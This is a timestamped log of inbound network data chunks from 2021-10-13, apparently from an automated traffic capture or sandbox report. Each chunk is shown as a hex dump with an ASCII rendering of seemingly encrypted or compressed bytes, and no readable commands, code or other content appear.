2021-10-13 10:51:51 UTC	18	IN	Data Raw: c5 78 66 e6 25 f7 21 d8 ce af 99 3f 1f cd 11 ed f8 ad 2a 1b d4 bc 9c 2f 83 f8 7f 74 8d 66 2c 5c 3e 28 35 a2 f5 a2 ce 35 5d 62 cc 28 8b d0 15 ce af 4b db c1 b0 38 98 2e 6d 19 74 ca 6f 5a 1e 80 ec cb bc ce 42 17 29 e5 94 e2 6e 5c 41 f9 3c e0 c2 ea 2f 01 d7 10 6b c8 43 60 c4 02 70 d1 4b 73 38 6c 05 a2 0e 6a 3d 86 5c 67 45 ae 66 50 30 db 91 88 b8 c7 b5 66 2b 14 2c 94 3c 20 19 83 e9 d9 94 8d bc 59 d4 7a 6b cd cc 24 bd 7f f2 b5 ff e7 d4 e8 e3 56 7a ee a6 c8 de c6 b9 16 c7 61 63 1f c4 ba d1 5d 64 86 da 93 d0 2b 29 c5 cb dc f1 20 9d 42 55 ed 42 84 96 7e cb cd 3d d4 4b 56 80 b1 6f fd 6a e8 59 0b 4d 06 e3 ba f0 d7 ed 11 20 0b 74 58 ce ef a8 d0 6b 1e 7d c3 ed e8 0b bd dc 51 39 0c 03 02 18 9d de 10 b8 79 c0 e3 19 61 4a ed 68 a9 7f 38 eb f4 55 bc bc 4d 2a 92 cf cb e4 Data Ascii: xf%!?/tf,\>(55]b(K8.mtoZB)n\A</kC`pKs8lj=\gEfP0f+,< Yzk$Vzac]d+) BUB~=KVojYM tXk}Q9yaJh8UM
2021-10-13 10:51:51 UTC	19	IN	Data Raw: 42 32 19 82 93 1c 61 4a db ad 1a 0e 78 6b 29 bf 68 76 9b 56 87 c5 7b 04 51 04 62 a1 99 61 f2 43 13 09 0b 8b 0d c0 db 97 db 92 b6 5f d3 dd d9 b8 7b b1 72 3e cb ee bc bf cb e3 48 ea dc be e3 98 55 7c b4 52 1b f5 6e 3e be 8d 7a f6 b7 13 bc 83 76 a8 d1 4f ca 95 b7 01 51 73 40 ab 0b 70 98 77 70 c6 a9 32 ab df d9 7d 5f e2 70 c1 06 d4 de 50 f2 7c ab 6b 32 62 24 2d 13 80 52 b5 69 72 42 95 c8 3a f4 fc 5c 65 03 1f 1c 12 d9 ac a5 da 4a 0e 57 27 72 ff f7 e6 56 6c e5 8b a4 40 fe b5 cc 60 2f 5d 1a a5 72 3a 87 9d 75 ec 6b 8b e7 31 c5 60 00 77 0d da 9d df db 26 22 86 a5 b4 62 d3 df 62 52 77 f0 40 32 eb ca c1 fe 0c 33 50 dd 6c 3f a4 00 2d 26 7b 59 3e 12 1a 3a 0f 36 94 36 4d 4e c0 ae b2 62 e0 2f b3 e8 8e 7e 86 72 41 bf 60 ab 53 8c cd 8c 96 6e 56 e6 b8 58 f7 64 64 2b ea c0 Data Ascii: B2aJxk)hvV{QbaC_{r>HU\|Rn>zvOQs@pwp2}_pP\|k2b$-RirB:\eJW'rVl@`/]r:uk1`w&"bbRw@23Pl?-&{Y>:66MNb/~rA`SnVXdd+
2021-10-13 10:51:51 UTC	20	IN	Data Raw: ce b0 61 13 16 fa 94 3c 33 3a a7 ee c4 60 98 86 7a e4 6c 68 a4 19 f9 87 74 d8 ab d1 cf e4 f4 1d 5d 45 de b0 b4 14 ee 81 1c c4 5b 5b 38 ef a7 da 23 6d 9c 24 96 e4 60 b7 aa 06 dc ea a7 9e 71 b6 f7 5a c4 80 25 23 e4 c0 de 63 7e 20 a0 29 c0 08 f4 59 0c 50 d0 a7 94 f6 d2 d3 66 cf 11 79 37 b4 f9 56 db e5 0d 2a d0 c5 b5 17 43 db df 2a 67 1f 12 1a 62 21 e5 ad 11 d2 a1 67 64 7a ef 6c 18 00 38 eb d9 f7 ad ed 41 11 fe f5 4b e2 b5 18 b5 c4 28 a5 09 0d b8 be 3a 50 3a 37 38 a2 a0 f5 e7 e2 0a b0 bf 7a c9 2a 6b f3 86 b8 39 f3 3d 9b 53 c3 3a 2e 82 36 c9 6e ef 0d d8 bd 9c 53 cb 27 1a f9 6b 05 1b 9a 9a 45 83 60 0d 0b 05 c3 e9 f6 7d be 8e ae a3 d7 e1 94 f8 dd 5c 3d 24 5b 64 33 21 48 88 8f 24 9c b3 d3 fa 55 6c fb b8 54 88 2d b6 48 19 aa e4 07 c6 d3 8f f2 13 0e 45 d6 42 a1 dd Data Ascii: a<3:`zlht]E[[8#m$`qZ%#c~ )YPfy7VCgb!gdzl8AK(:P:78z*k9=S:.6nS'kE`}\=$[d3!H$UlT-HEB
2021-10-13 10:51:51 UTC	22	IN	Data Raw: 95 33 4e 2c 05 17 81 52 b3 06 72 34 9c c2 55 fb fd 5c 6f 8c 0f 10 12 de b3 ac 24 51 22 40 58 7a ff f7 e2 bc 7d e5 8b ae 68 da b5 6e 63 af 55 15 a5 76 25 97 91 75 e5 75 75 e6 1d 63 17 08 77 03 de e3 c7 64 2f 26 e9 a8 b5 62 d9 ff 2b ad 89 0f 5f 3b e7 04 c0 e3 f2 3c 7c cc 6a cb 83 02 2d 2f 6d 71 10 08 1a 30 18 18 fd 28 41 a5 c1 b1 be 92 e1 03 b8 16 90 00 9f 7d 41 bb c2 ae 5e 80 cc 84 89 7e a8 ef 9e 53 f0 71 1a 32 ea d6 99 5f 63 9e 01 31 6b c0 ed a0 6c 87 68 12 ae 29 d1 0e 6c f6 0b 53 8f c6 f8 49 61 63 89 cc 64 bc 44 85 a4 50 cd dd f9 1d 9d 30 5a eb ca 3e 67 9f 1a 73 c3 9d e4 3b d7 e4 fa fe a4 bd 26 05 81 5d 34 cb 82 a2 34 02 0b 5b bb 93 a7 79 13 95 13 37 c4 f8 09 57 ce 24 83 c3 1e 84 97 2a 4c fd c9 63 93 ff 5d 18 79 2c dd 1e c3 18 fe 25 d2 0d c7 e9 af 93 39 Data Ascii: 3N,Rr4U\o$Q"@Xz}hncUv%uuucwd/&b+_;<\|j-/mq0(A}A^~Sq2_c1klh)lSIacdDP0Z>gs;&]44[y7W$*Lc]y,%9
2021-10-13 10:51:51 UTC	23	IN	Data Raw: c4 17 ab 32 c4 5f 66 5b 48 fa 61 81 09 24 15 ff db af d7 55 29 6d ca dc 34 be 1f bd e4 93 ae dd 0c 94 a8 1d 79 24 82 3c a2 b1 df f0 1c 1a 8a af 66 e2 a1 6b e2 82 a2 d6 f6 08 60 79 88 2e 2b f8 13 d8 6a f3 7d 6e 86 4f 76 f4 3d 09 f7 66 0d 0c 85 64 55 ab 60 f5 65 22 c5 e0 f4 99 90 92 bd a3 df 6a 86 cc 0d 5d 11 3f 4a f5 40 0d 15 9e 9e 4f 68 a2 d7 e7 87 47 ca a8 48 9b 38 b2 40 e3 b3 36 03 fc cc eb c3 17 0e 50 fa 57 5e dc 78 67 ea fb 26 95 bd a6 ad de 91 82 d8 dc 38 f8 29 f0 63 78 1e 3f 2a e1 a0 1d 0a 78 c1 f8 7b 4f db 16 36 06 14 1f 89 1f ee 7c 71 08 0a 20 77 52 03 b2 9e 84 2c d9 c2 6f 71 3b 30 5e 20 ac 37 65 fe 08 cc 49 5c 56 23 d3 6e b6 a3 19 89 b4 f5 b7 bc 3b 6e 96 d0 e7 d7 f5 25 52 1f a7 70 bc 51 14 26 53 0c 73 13 07 09 3c 10 19 82 97 0b b3 5a a5 88 14 0e Data Ascii: 2_f[Ha$U)m4y$<fk`y.+j}nOv=fdU`e"j]?J@OhGH8@6PW^xg&8)cx?*x{O6\|q wR,oq;0^ 7eI\V#n;n%RpQ&Ss<Z
2021-10-13 10:51:51 UTC	24	IN	Data Raw: 11 83 a3 c3 7e 41 bf 62 ae 26 bf d5 f2 9e 6e 56 ea 9a 52 f4 6a 62 03 ce d6 9d f7 fc 87 0d 31 67 02 c5 5d 6d ab 6d 0a c2 1c 6a 6f 74 fa 0b 5f be 33 fa 65 74 4d 85 28 66 b6 c2 a5 41 52 c9 06 9f 63 9d 30 52 fe a7 01 7e e9 04 8d c2 b5 ce 20 d8 e4 f4 c9 92 43 27 23 03 7e 31 f3 f5 81 20 ff 21 5b b9 8c c4 7a 0e eb d0 37 c4 fc 0b 5a cd 35 87 c3 39 85 97 2a a3 c1 c9 63 9d 4d a5 1a 79 26 d5 dc 09 2b e7 5b ff 25 f0 ed 87 97 36 70 1a 39 c9 f2 8b 31 9c a2 a5 9c 2b 5a 38 ac 74 8d 6e 15 f8 02 14 63 9d f5 a2 c0 0e 6e 49 f4 2e a3 fe cb ce b7 8a fb 14 b0 3c 4f 85 06 e7 8b 37 ae 2f 3f d8 6c d5 b3 ce 46 24 56 b1 94 e4 4c a4 50 fe 59 b6 ca ea 25 6a c7 63 69 c2 5a 5c b6 23 43 c8 4b 75 38 6c 05 9d 61 55 15 42 76 43 43 86 46 d0 38 dd b9 a4 65 92 b1 77 2c 53 fe 94 3c 2c 5e aa e8 Data Ascii: ~Ab&nVRjb1g]mmjot_3etM(fARc0R~ C'#~1 ![z7Z59*cMy&+[%6p91+Z8tncnI.<O7/?lF$VLPY%jciZ\#CKu8laUBvCCF8ew,S<,^
2021-10-13 10:51:51 UTC	25	IN	Data Raw: f9 6a 5d e6 ba 4b 97 1a 4c 50 cb a5 ca 13 db f7 8c e0 17 04 47 c7 4b 78 cf 69 08 89 e0 39 a3 49 be 92 d6 97 82 d3 af ee fb 05 f3 6b 6f 10 37 2e f0 aa 06 31 78 c1 f8 75 75 f1 1c 2b d4 07 05 92 2b 03 66 5d 1a 06 2c 40 ac 13 9a 93 6b 28 dd 93 44 74 05 65 69 21 ac c0 6d 1c 17 df 40 7c ce 2a f5 90 b7 94 23 9c bf 6c 66 af 30 5e 9b c3 ed ff ac 3e 4d 12 d9 51 90 54 3a 47 7b 1f 68 17 3a 2c 5d 02 e7 83 bf 0d 82 53 d0 bc 11 18 69 6d ee ad 69 76 9e 49 b5 d6 7a 04 40 1e 7d b1 67 60 20 45 11 18 13 a3 18 c1 ca 94 c8 84 a6 4e c0 c6 c3 a9 60 af 4f c0 ca c2 93 b0 e3 f0 45 ea da d1 e7 93 55 7a a4 6c 08 ee 74 2f a5 93 54 08 b6 3f 8f 88 67 a3 f7 56 cb 95 f6 1b 57 6c 60 b8 10 70 93 6c 6f f1 57 33 87 d6 bb f0 a1 1d 81 de 31 c7 ad 59 e3 67 bb 4e cc 63 12 26 02 8a 43 b1 bf 61 3e Data Ascii: j]KLPGKxi9Iko7.1xuu++f],@k(Dtei!m@\|*#lf0^>MQT:G{h:,]SimivIz@}g` EN`OEUzlt/T?gVWl`ploW31YgNc&Ca>
2021-10-13 10:51:51 UTC	27	IN	Data Raw: f8 38 22 c9 c3 70 91 81 67 09 7f f0 c4 cc 72 09 f1 0d ee 24 f0 e3 a5 88 3a 6a ca 02 e2 f0 9a 34 34 b3 a4 9c 25 8c 86 a1 6e 5b 7f 05 80 20 02 35 8c f4 a2 ce 35 70 5b fb 32 5d c9 c4 df ac 1d 29 03 66 b5 b9 14 04 e6 98 25 b3 45 03 d0 02 cb a2 df 6a 16 47 b2 9e f3 6b 91 41 28 40 39 c0 fb 2a 46 03 11 6b c8 49 50 b8 0c 6a c0 3b ab ee 7f 0e b7 2c 58 3d 5d 5f 67 49 8a 5d 5f 2a 0b aa af ba d6 bc 5f 35 7a fa 9e 31 3b 3e bd 3f ca 91 9b bb 7e ce 63 6a cb e0 ea 8a 6f fd af cb c2 35 3e f0 53 6b c2 bd f3 c0 ef 81 1c d4 6e af 35 df 6c c2 2c 7b 83 cd 4d df bd 38 ee cb dc eb be 8c 40 44 e3 40 c0 91 2f d8 cd f6 d7 4b 5a 21 b1 23 85 34 fe 59 01 70 02 a7 b8 f0 d9 e5 46 a2 0b 72 77 2c ef a8 da ca 1e 31 b4 e4 b3 09 b7 b5 d1 29 4c 10 02 34 9d de 1c b8 2f c3 b5 76 67 42 c5 3c 81 Data Ascii: 8"pgr$:j44%n[ 55p[2])f%EjGkA(@9FkIPj;,X=]_gI]__5z1;>?~cjo5>Skn5l,{M8@D@/KZ!#4YpFrw,1)L4/vgB<
2021-10-13 10:51:51 UTC	28	IN	Data Raw: 35 25 7b be 7a c8 5a 75 82 c4 05 2b 1f 1b 33 19 84 b9 07 b0 4b db d8 15 0e 78 5c c6 b7 79 75 bc 62 86 c5 6b 13 dc 44 62 a1 98 72 06 5a 19 1f 66 be 0c c0 c0 03 ca 98 d6 69 d2 dd c9 ab 7f 98 65 3f cb e4 9e d9 56 e3 46 e0 cf bb e5 86 54 7c b1 43 1f 9a e9 3e be 86 69 f0 a6 15 95 a2 f5 aa df 49 dc 18 fb 08 51 72 5b bf 1f 58 2a 77 70 cd b1 be 94 df 83 75 77 d5 7f c1 0c c3 3a 66 f2 7c a5 43 82 62 3e 27 3b db 52 b5 63 65 e3 11 e3 3a fa fd 4f 62 97 10 08 3a cc af a5 dc 48 83 50 26 72 fe e4 ed d3 6e f3 9a ad e2 ef be 79 7f a3 62 15 a5 73 98 8c 96 66 e1 7a 87 f3 25 6c e4 2f 77 03 db 8e d2 75 22 34 91 36 a5 6f c4 d3 fe 43 7b e7 68 9e eb 04 c2 d8 1d 30 46 4d 40 fc bc 0c 3b b3 53 48 3e 08 10 ea 1c 36 94 2d 65 b1 c9 ae b8 44 d8 2e b3 1b f3 6c 86 7d 5a ac 67 a0 54 9d cb Data Ascii: 5%{zZu+3Kx\yubkDbrZfie?VFT\|C>iIQr[X*wpuw:f\|Cb>';Rce:Ob:HP&rnybsfz%l/wu"46oC{h0FM@;SH>6-eD.l}ZgT
2021-10-13 10:51:51 UTC	29	IN	Data Raw: 12 55 58 76 54 e9 72 51 30 d7 67 ba bf cd 6e 7a 2d 7b fa 93 36 f7 37 a6 e9 d9 8f 8c 86 76 f7 6f 04 9c ea f9 8d a2 ca 55 da cf e3 e0 c3 5f 0f d3 b2 9b 08 ee 81 16 ce 4b b7 ba c5 ba 91 e5 6a 86 da e4 e2 6a b5 cf d8 fe f4 20 a3 42 55 ed 42 e7 98 26 50 ce ec d6 4a 43 06 b1 2a f5 0c ee 7a 1d 57 06 bc b9 f0 db d4 4d 34 1a 56 21 ac f7 80 c0 c8 0f 37 ca e7 a3 2d d2 f1 f2 28 46 0b 08 77 be b1 36 aa 3b d8 b0 45 60 25 c0 6d 81 0a 29 c9 e7 98 83 fd 57 08 eb ef a4 cd b4 18 bf c4 28 ae e6 08 1a 0c 42 4a 25 24 36 b1 94 ee b0 91 20 9c bc 63 c9 0f 7a c7 9d 8a d6 d3 07 81 38 8c 3b 3c 86 3c ab 43 f6 f3 d3 82 b3 6a de 36 3b 9c 40 1d 08 94 89 73 96 5c db 1c 28 c4 ea d6 be b7 92 bb 8f f9 f2 90 e2 4c 20 11 35 56 18 69 26 59 84 9c 63 07 8d d2 f0 73 98 ea ba 76 a4 3b a3 77 88 fc Data Ascii: UXvTrQ0gnz-{67voU_Kjj BUB&PJC*zWM4V!7-(Fw6;E`%m)W(BJ%$6 cz8;<<Cj6;@s\(L 5Vi&Ycsv;w
2021-10-13 10:51:51 UTC	31	IN	Data Raw: 7d 75 73 9f 6a 11 85 d4 b6 58 da 68 a4 6b 38 4a 23 2e 13 87 49 38 6e 72 35 9d db 31 eb f7 4a 62 ae 07 1c 12 dc 0e b4 d1 47 11 6f aa 4d ff f7 e7 60 74 ee 93 bb 49 5c a4 65 70 39 d1 2a a5 72 3b 3f 8c 7e f7 71 07 d8 31 74 68 a2 66 08 c9 97 ce 6e 3b 36 9d 27 9b 62 d3 c4 71 5e 67 fc 56 25 77 15 c4 e9 1a a1 41 d1 74 f4 31 11 21 30 6d c5 2f 04 00 2c 92 27 98 21 65 09 c9 ae b8 4a ff 22 a0 1e 87 6f 89 63 bf be 4c bc 42 80 d4 1c af c3 aa 11 4d 47 fe 79 6b 2b fb d9 82 ee 82 8e 34 aa 63 df e2 4a bd 28 6f 15 b5 07 67 11 7c f0 23 46 95 38 ff 7e ff 62 a1 28 67 af 49 bc 4a 44 ca f3 87 60 9d 3a f2 f0 db 25 78 ab 80 b2 c2 b1 e7 8e ca ef ea f0 b2 6b 36 29 83 7c 93 e2 fa 45 dd 71 1e 5b bb 92 1e 58 1c 8f c9 33 d7 f5 32 5a da 1d 02 e9 1d 83 81 ad 24 c9 c9 62 8d 84 7c 30 d1 26 Data Ascii: }usjXhk8J#.I8nr51JbGoM`tI\ep9*r;?~q1thfn;6'bq^gV%wAt1!0m/,'!eJ"ocLBMGyk+4cJ(og\|#F8~b(gIJD`:%xk6)\|Eq[X32Z$b\|0&
2021-10-13 10:51:51 UTC	32	IN	Data Raw: f7 c0 a5 23 a2 d3 fe 28 45 03 d4 67 b1 d7 1f a8 3f c5 7b 6b 23 50 e0 6c 88 17 c6 ea d2 f5 b5 f1 57 0b e7 33 ca ce bd 1d b0 9f 3b 6e a3 12 99 bb 24 62 da 25 10 a6 a7 fa e9 11 0b 95 a7 9c db 02 61 e0 87 e8 56 ed 1b ad 52 b8 2c 3d 8f 2a 26 6b db f6 de bd 8f 66 f5 27 13 e5 98 1d 24 9c 8d 59 87 72 ec 03 d7 c5 cc fc cc b0 aa c3 58 28 0f 87 ef 08 57 13 30 16 9a 5e 2c 66 80 9b 40 6d 96 99 e7 af 12 e3 e1 58 b9 85 a4 7b f4 9b ca 02 ed df 95 e1 54 0e 54 c3 42 53 f7 5d 08 90 e3 d8 9e 9b b2 c0 ed 91 93 d8 b3 88 f8 05 ff 7f 4b 0f 2c 26 f6 4f 18 3c 84 d8 d8 7e 6c ec f3 24 2e 16 19 81 09 18 64 a3 0a 31 31 58 50 39 79 84 78 42 ba c1 44 7e 29 5c a1 df 40 0f 70 28 51 c4 40 6d 91 35 f9 7f a0 b4 02 c0 b4 7e a9 42 3a 6d 92 c9 dc e5 b1 25 5a 01 d9 51 90 5d 12 4a 76 24 23 16 2b Data Ascii: #(Eg?{k#PlW3;n$b%aVR,=*&kf'$YrX(W0^,f@mX{TTBS]K,&O<~l$.d11XP9yxBD~)\@p(Q@m5~B:m%ZQ]Jv$#+
2021-10-13 10:51:51 UTC	33	IN	Data Raw: 0f 36 9e 3c 4b 2b 7e a5 99 2e c8 b3 b3 11 8d 7a e9 e0 41 bf 6a a2 57 9b dd 88 18 d9 80 e5 b5 4f 2d 7d b2 a6 c1 d6 9d fc 76 89 1b 20 67 51 55 ea f1 ba 6b 03 b2 38 62 15 f2 4d 23 41 97 38 f3 4e 79 4d 8f 2a 66 ba 31 f4 40 52 c7 a1 8a 67 4b 27 8a f6 06 bf 4c 97 0c 8c cf b8 f0 37 47 ed e5 e3 02 df 2e 30 80 c2 ad f5 e7 55 d1 fa 09 41 ba 93 b6 40 1e 1b 6f 2f 1e fd 4f 74 ce 35 81 eb 1d 85 e7 60 78 e1 5f 63 99 9a dc 84 70 2f 59 74 67 c2 fb 05 f7 24 f0 e9 f2 2d a9 79 36 11 ed f2 98 0b 19 aa 2c 9c 2f 87 df ae 74 9c 44 96 82 31 07 1f fa 68 a2 c4 2c 6c 43 7a 9f ab 25 cb ce bd 3b f8 3c 92 3b 92 12 77 bd 8a 35 bb 2e 24 5d 12 dd b9 cd 2d 91 46 b2 9e ee 6c 0e e7 de ac 36 c2 ea 14 65 32 32 68 c2 5c 2d f3 02 70 db 4f 64 31 e2 b6 63 35 d9 a2 92 49 bd 54 50 c1 7b 30 dd b8 aa Data Ascii: 6<K+~.zAjWO-}v gQUk8bM#A8NyM*f1@RgK'L7G.0UA@o/Ot5`x_cp/Ytg$-y6,/tD1h,lCz%;<;w5.$]-Fl6e22h\-pOd1c5ITP{0
2021-10-13 10:51:51 UTC	34	IN	Data Raw: 52 b5 63 63 3d b4 28 38 fa fa 33 35 86 16 16 03 de bb ca 96 50 0e 5d 37 7a d7 bd e6 c2 6f 8a c0 aa 40 f4 a4 66 06 d6 5d 15 af 61 3c b5 ac 76 ed 6d 87 e9 34 1b 36 01 77 09 b5 fd de 64 25 31 92 81 fd 73 c7 aa a4 52 76 fa 68 93 eb 04 c2 ed 00 2c 56 da 7a e4 23 b7 42 87 7b 59 34 00 0b 36 00 33 85 3a 22 c4 c8 ae b8 44 82 2e b3 1b 94 74 ae e1 41 bf 6a a0 59 e3 51 8c 96 64 45 e5 a3 5e e6 61 72 3a e1 58 2a 92 d2 8f 0d 3b 72 cb 8d 95 6d ab 65 38 1a f1 65 00 68 8f 30 5b 96 39 d5 69 63 71 d4 13 66 bc 43 c2 16 52 cd d1 4a 71 9b 37 46 e6 5e 85 08 39 0c 8d c8 99 d4 2f db e2 e1 e4 a7 46 22 2a 8d 72 19 90 f0 5c c1 f0 09 c7 bb 93 b6 40 78 08 d8 37 ce eb 27 46 c8 24 85 fd 0c 81 19 97 4c 67 c9 63 93 81 6e 1c 6f 22 59 74 1f b6 fe 25 fd 0d ae e8 af 93 1d 5e 1f 11 eb f4 a3 08 Data Ascii: Rcc=(835P]7zo@f]a<vm46wd%1sRvh,Vz#B{Y463:"D.tAjYQdE^ar:X;rme8eh0[9icqfCRJq7F^9/F"r\@x7'F$Lgcno"Yt%^
2021-10-13 10:51:51 UTC	35	IN	Data Raw: 75 31 a5 6c 81 04 2b ed 8d dd ac fc 5d 11 ff dc ce f3 b3 77 9e d4 2c b2 e6 09 8c d4 00 7b 24 2e 2d a7 a9 9e de 1d 0b 96 bf 4a b3 2f 6b e8 91 a6 d6 f7 7e b1 79 a4 2b 2e 81 27 df 7b f3 e5 c8 95 1b cc 97 17 1b f3 6c 17 d6 84 8b 51 e8 1c f2 0a 23 cd 8f 96 e6 b5 98 61 79 dd f9 bc e2 2a 32 46 35 5c 01 9d 29 4f ed 91 4a 68 b9 f9 f0 79 47 fa ab 50 8a 3c 8c 51 fd f3 c8 0c d0 df 95 e1 15 0e 5a d2 0e 37 dc 78 08 98 fb 26 84 87 bb be 5d 91 93 dc 8d c6 f9 14 e1 7f 21 67 2d 2e eb bd 6a 75 87 c0 de 73 6d f2 05 21 6d 08 0f 8d 03 7f e0 5d 0b 17 5c 55 53 12 bc 90 7c 5e df c1 44 7e 10 59 b0 da 42 39 1d 03 05 c4 4a 7c d0 2d 96 43 b7 b8 23 9c b1 6e df 92 3a 41 9c d3 de 96 bc 25 58 0a 23 41 b9 3e 3f 59 77 06 60 10 3a 30 53 37 0f 93 97 92 37 2d eb ac 14 04 73 b5 dc a6 6d 19 f3 Data Ascii: u1l+]w,{$.-J/k~y+.'{lQ#ay*2F5\)OJhyGP<QZ7x&]!g-.jusm!m]\US\|^D~YB9J\|-C#n:A%X#A>?Yw`:0S77-sm
2021-10-13 10:51:51 UTC	36	IN	Data Raw: 6a 9d 4d 90 df 8b 96 7f 51 f1 bb a6 f6 46 6d 13 2a d6 9d fd 63 85 1e 36 63 ce e5 41 67 55 6e 39 ad 27 53 10 7d fa 0b 73 82 39 f9 6f 5a 14 a0 28 6c 86 6a 52 be ad d2 d0 85 67 9d 21 57 f8 2e 33 4b 92 08 81 d8 a2 e1 2c ca e3 ef 1f b7 6f 2e 20 ba 09 31 f3 f1 42 d8 fa 21 4a bc 89 42 48 3b 8d d0 17 c4 f9 23 57 e6 21 80 eb 17 ad e6 21 23 c3 f3 b4 67 6f 97 03 6a 21 d7 d2 77 07 f0 db f6 09 c8 f8 a9 9c 32 fc 0c 11 ed f0 e4 4d 1d aa af b4 58 86 97 a4 51 a0 69 2c 93 35 26 17 ec e5 a2 c4 24 10 5a f4 28 89 c9 ce dc b8 71 a5 14 b0 3c 16 7b a2 e7 8b 33 ae 5b 1f c6 12 cc b4 d8 bc 0d 6a b1 83 f1 63 80 41 f9 4c 39 3c eb 09 6c 31 15 53 9c a4 a1 56 7d 05 d0 35 77 10 14 00 b5 37 54 11 41 76 f1 43 86 4a 7a 30 dd b9 bb 88 c2 b3 10 2c 7b fa c4 3c 2a 20 b1 e3 db 81 94 a8 0a b2 7a Data Ascii: jMQFmc6cAgUn9'S}s9oZ(ljRg!W.3K,o. 1B!JBH;#W!!#goj!w2MXQi,5&$Z(q<{3[jcAL9<l1SV}5w7TAvCJz0,{< z
2021-10-13 10:51:51 UTC	38	IN	Data Raw: 3a 9a ce e5 ab ce 7c b0 df 95 e5 3f ae 56 d2 52 77 1e 72 08 92 94 18 9e b7 b5 b8 f2 30 91 dc c6 b8 99 05 f5 70 7a a1 2e 2e e7 99 db 10 86 ca bb 40 65 fa 07 23 2a 50 0d 8d 0f 6e 1d 5d 0b 19 1b df 50 12 b0 ab b8 2d f5 ca 2b 4a 02 5c ab d9 7b 9a 70 28 02 ba 20 6d d5 31 d1 c8 b4 b8 2f a5 76 76 b0 b6 54 7f 97 d0 fc f9 d2 a4 53 19 2d 3f 3e 50 10 52 64 0b 58 74 39 30 6a b0 18 82 99 10 86 4a b4 8c 15 0e 72 66 cf 9f 47 76 94 5c aa c7 4a 4d 58 2d d1 a1 99 67 1f 4f 02 0d 96 3c 1b f1 f0 8f df 81 b0 49 c0 d5 e8 91 6a b9 63 36 51 fd 9a a7 cd e4 6e ce dc be c7 82 50 6d be 7a 2a f5 74 34 92 85 6b f3 bf 1a a9 3b 76 a8 d9 5e c2 82 2a 1b 59 62 47 ba 02 fe 35 45 bf d5 ae 1a 2f de 83 7e 72 76 a0 cf 14 d3 48 4f e6 7c a4 70 5d 35 3e 2d 19 5d 78 b5 69 73 25 9c c8 38 fa 02 5e 18 Data Ascii: :\|?VRwr0pz..@e#Pn]P-+J\{p( m1/vvTS-?>PRdXt90jJrfGv\JMX-gO<Ijc6QnPmzt4k;v^*YbG5E/~rvHO\|p]5>-]xis%8^
2021-10-13 10:51:51 UTC	39	IN	Data Raw: b8 77 1b 79 20 ff e4 70 18 f4 4a 27 25 f0 e3 be 9d 5a bb 1c 11 e7 df 43 e5 31 bb a1 e9 14 87 97 af 58 81 7d 0e f7 0a 0d 1d 94 9a f5 c4 26 6b 96 2a 3d ae f2 fc ce bd 00 fe 02 3d 2d 92 14 05 ec a3 0d b1 54 06 1f 15 db dc 19 42 0c 4c 98 93 c8 64 80 51 e2 53 36 c0 ea 23 6e 78 78 6b d4 5a 5e a9 03 70 d1 33 7d 42 ec 01 a0 27 57 15 45 4d 57 40 86 18 51 30 dd ee a0 b8 d6 a5 64 29 43 ba 95 3c 2a 31 b6 ec c6 93 67 ab 5d e8 73 7a cf 64 4e b8 c2 f2 b5 da d0 ed fb e6 5c 78 d6 a8 25 d8 c2 95 10 c5 43 a1 39 c5 bc f9 07 6a 86 d0 f8 18 6b b5 cf d0 cf ef ad 99 47 4b 12 50 e8 81 15 11 fa e5 c5 4e 50 33 a5 30 e1 ea fe 75 1e 4f 26 8e a7 f3 d1 c3 60 06 0b 72 3d dc 3f a8 da c3 10 31 c8 c0 b2 18 b8 c5 fc d6 4d 36 21 70 10 cb 1a ab 3a f8 be 77 64 4f ed 7d 84 1c c6 ea d2 fc af d4 Data Ascii: wy pJ'%ZC1X}&k==-TBLdQS6#nxxkZ^p3}B'WEMW@Q0d)C<1g]szdN\x%C9jkGKPNP30uO&`r=?1M6!p:wdO}
2021-10-13 10:51:51 UTC	40	IN	Data Raw: 77 1d 69 17 2b 36 59 03 1e 82 7d 1c 80 42 81 ad 14 1f 67 67 4b 9c 68 76 95 45 8f d4 69 12 47 99 73 a9 8e 77 90 5a 1b 11 0e 17 1c c8 d3 88 47 83 b1 45 c5 41 d2 b0 60 a6 ee 2f c3 f2 8a 2a da eb 5b fc 40 af c5 8f 43 e0 aa 5a 04 fc 62 a2 af 84 65 fc a1 8f 90 82 69 a3 c9 d3 db 9d f7 0a 48 74 59 b4 07 58 98 76 70 cd ab bc 1c c0 93 ae 48 34 f3 ea 06 d4 b7 55 f0 63 ab 63 24 60 b0 9a 0c 8e 88 9d 73 73 35 96 bb ad fb fc 5a 76 80 09 0c 9f fd ac a5 db 43 0b 5f a8 c5 ee f2 68 75 bf f2 51 bd 96 73 9e 6e 69 2e 50 1d ad fc 8d 82 8d af fc 6e 9d f8 21 5c 73 01 77 09 d2 8b d6 72 27 ac 31 bb b1 ec 64 1f 4a 48 77 f0 4a 1a 77 04 c8 f4 1d 3b 53 da 78 ea bc 05 42 b1 7a 59 38 67 06 3b 0e 3c 87 32 5c a1 e1 0f b2 6c ea 25 6d 00 a2 56 b1 7d 41 b5 73 b6 47 86 e4 b4 96 6e 5c 30 b2 5e Data Ascii: wi+6Y}BggKhvEiGswZGEA`/*[@CZbeiHtYXvpH4Ucc$`ss5ZvC_huQsni.Pn!\swr'1dJHwJw;SxBzY8g;<2\l%mV}AsGn\0^
2021-10-13 10:51:51 UTC	41	IN	Data Raw: 58 30 90 bc a0 b8 98 b3 77 3d 08 45 94 3c 20 3b a1 c1 1d 9e 99 ac 1e 2c 7a 6b c1 c2 6f 86 7e f8 da 4d ce e3 e2 f0 59 78 d6 a6 f3 b7 ed 81 10 d1 e6 b9 3a c5 bb c5 37 7e ae 72 97 c8 61 9d d4 cb dc e0 a0 99 47 41 c4 3e c7 87 38 cb 68 eb d6 4b 51 36 b4 3b c2 bc ff 59 01 61 3f a6 b8 fa c2 c1 41 3e 87 4d 37 b3 ee be f2 51 0e 3d d1 e9 ac 18 b9 c2 7f 17 4c 1a 2b 70 b5 46 1b ab 31 fe af b7 3e 4a ed 6e a9 14 38 eb f4 e4 aa d7 5b d2 b0 cd cb e0 9d 0c b5 d5 26 ab f0 1a 87 b3 53 0f 25 24 36 b1 b8 e7 e2 14 19 95 94 01 da 2e 6d 6e bd a2 c7 f3 02 98 69 a2 09 67 86 36 d2 7c d9 f4 df 9a 48 eb fc 27 1a e2 6f 10 7b 07 9b 54 8d 68 f9 1b 23 d6 c9 d6 97 b6 92 bb 8f 4d f1 90 ee 32 74 39 44 5f 0b 47 4e d3 83 8d 41 79 b9 c1 d9 51 34 e5 ab 56 a0 a6 b3 51 ed ba e1 2a a3 dc 95 e7 78 Data Ascii: X0w=E< 